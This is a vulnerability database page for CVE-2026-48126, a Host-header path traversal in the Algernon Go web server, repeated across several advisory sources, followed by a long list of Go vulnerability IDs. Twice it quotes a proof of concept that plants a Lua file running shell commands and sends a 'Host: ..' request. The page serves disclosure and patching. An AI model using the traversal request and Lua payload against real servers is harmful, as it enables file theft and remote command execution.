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CVE-2026-48126

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

8.2 HighFix available

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.34%Up 0.3 points since May 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Record
CVE-2026-48126
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-23, CWE-644
Updated
2026-11-02
EUVDEUVD-2026-31881 8.2

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Record
EUVD-2026-31881
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-jc3j-x6pg-4hmv 8.2

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Summary

When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.

Details

engine/handlers.go (function RegisterHandlers, around line 510):

allRequests := func(w http.ResponseWriter, req *http.Request) {
    ...
    servedir := servedir
    if addDomain {
        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531
    }
    ...
    filename := utils.URL2filename(servedir, urlpath)

utils/web.go (GetDomain):

func GetDomain(req *http.Request) string {
    host, _, err := net.SplitHostPort(req.Host)
    if err != nil {
        return req.Host          // <— Host header returned verbatim
    }
    return host
}

utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:

func URL2filename(dirname, urlpath string) string {
    if strings.Contains(urlpath, "..") {
        return dirname + Pathsep         // dirname is trusted here
    }
    ...
}

engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):

if ac.useCertMagic {
    ...
    ac.serverAddDomain = true   // <— line 372
}

Putting it together:

  1. The client sends Host: ... Go's HTTP server accepts the value because . is in the URI host whitelist and there are no other characters to validate; req.Host is ...
  2. GetDomain returns .. (no port, net.SplitHostPort fails — fallback path).
  3. filepath.Join("/srv/algernon", "..") cleans to /srv.
  4. URL2filename("/srv", "/SECRET.txt") returns /srv/SECRET.txt, which the handler opens with FilePage.
  5. For directory targets, DirPage lists the parent — sending / after Host: .. produces an HTML index of the parent of the docroot.
  6. If a file with a recognised algernon extension (.lua, .tl, .po2, .amber, .frm, .md, ...) is in the parent, the matching renderer runs server-side. .lua triggers full Lua execution, including run3(...) which calls exec.Command("sh", "-c", command) (see lua/run3/run3.go:23).

Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.

This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).

PoC

Build the affected version:

git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .

Reproduce manually:

WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA

/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1

# 1. Arbitrary file read
curl -H 'Host: ..'…
Record
GHSA-jc3j-x6pg-4hmv
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-23, CWE-644
Updated
2026-11-02
NVD 8.2

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Record
CVE-2026-48126
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-23, CWE-644
Updated
2026-11-02
OSV 8.2

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Record
CVE-2026-48126
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-23, CWE-644
Updated
2026-11-02
OSVGHSA-jc3j-x6pg-4hmv 8.2

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Summary

When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.

Details

engine/handlers.go (function RegisterHandlers, around line 510):

allRequests := func(w http.ResponseWriter, req *http.Request) {
    ...
    servedir := servedir
    if addDomain {
        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531
    }
    ...
    filename := utils.URL2filename(servedir, urlpath)

utils/web.go (GetDomain):

func GetDomain(req *http.Request) string {
    host, _, err := net.SplitHostPort(req.Host)
    if err != nil {
        return req.Host          // <— Host header returned verbatim
    }
    return host
}

utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:

func URL2filename(dirname, urlpath string) string {
    if strings.Contains(urlpath, "..") {
        return dirname + Pathsep         // dirname is trusted here
    }
    ...
}

engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):

if ac.useCertMagic {
    ...
    ac.serverAddDomain = true   // <— line 372
}

Putting it together:

  1. The client sends Host: ... Go's HTTP server accepts the value because . is in the URI host whitelist and there are no other characters to validate; req.Host is ...
  2. GetDomain returns .. (no port, net.SplitHostPort fails — fallback path).
  3. filepath.Join("/srv/algernon", "..") cleans to /srv.
  4. URL2filename("/srv", "/SECRET.txt") returns /srv/SECRET.txt, which the handler opens with FilePage.
  5. For directory targets, DirPage lists the parent — sending / after Host: .. produces an HTML index of the parent of the docroot.
  6. If a file with a recognised algernon extension (.lua, .tl, .po2, .amber, .frm, .md, ...) is in the parent, the matching renderer runs server-side. .lua triggers full Lua execution, including run3(...) which calls exec.Command("sh", "-c", command) (see lua/run3/run3.go:23).

Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.

This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).

PoC

Build the affected version:

git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .

Reproduce manually:

WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA

/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1

# 1. Arbitrary file read
curl -H 'Host: ..'…
Record
GHSA-jc3j-x6pg-4hmv
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-23, CWE-644
Updated
2026-11-02
OSVGO-2026-5460 No score

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir in github.com/xyproto/algernon

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir in github.com/xyproto/algernon

Record
GO-2026-5460
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/xyproto/algernon
Go
 through 1.17.7
1.17.8
github.com/xyproto/algernon
Go
 before 1.17.8
1.17.8
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48126 is a high vulnerability (CVSS 8.2) in Xyproto Algernon, published May 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in github.com/xyproto/algernon 1.17.8.

References

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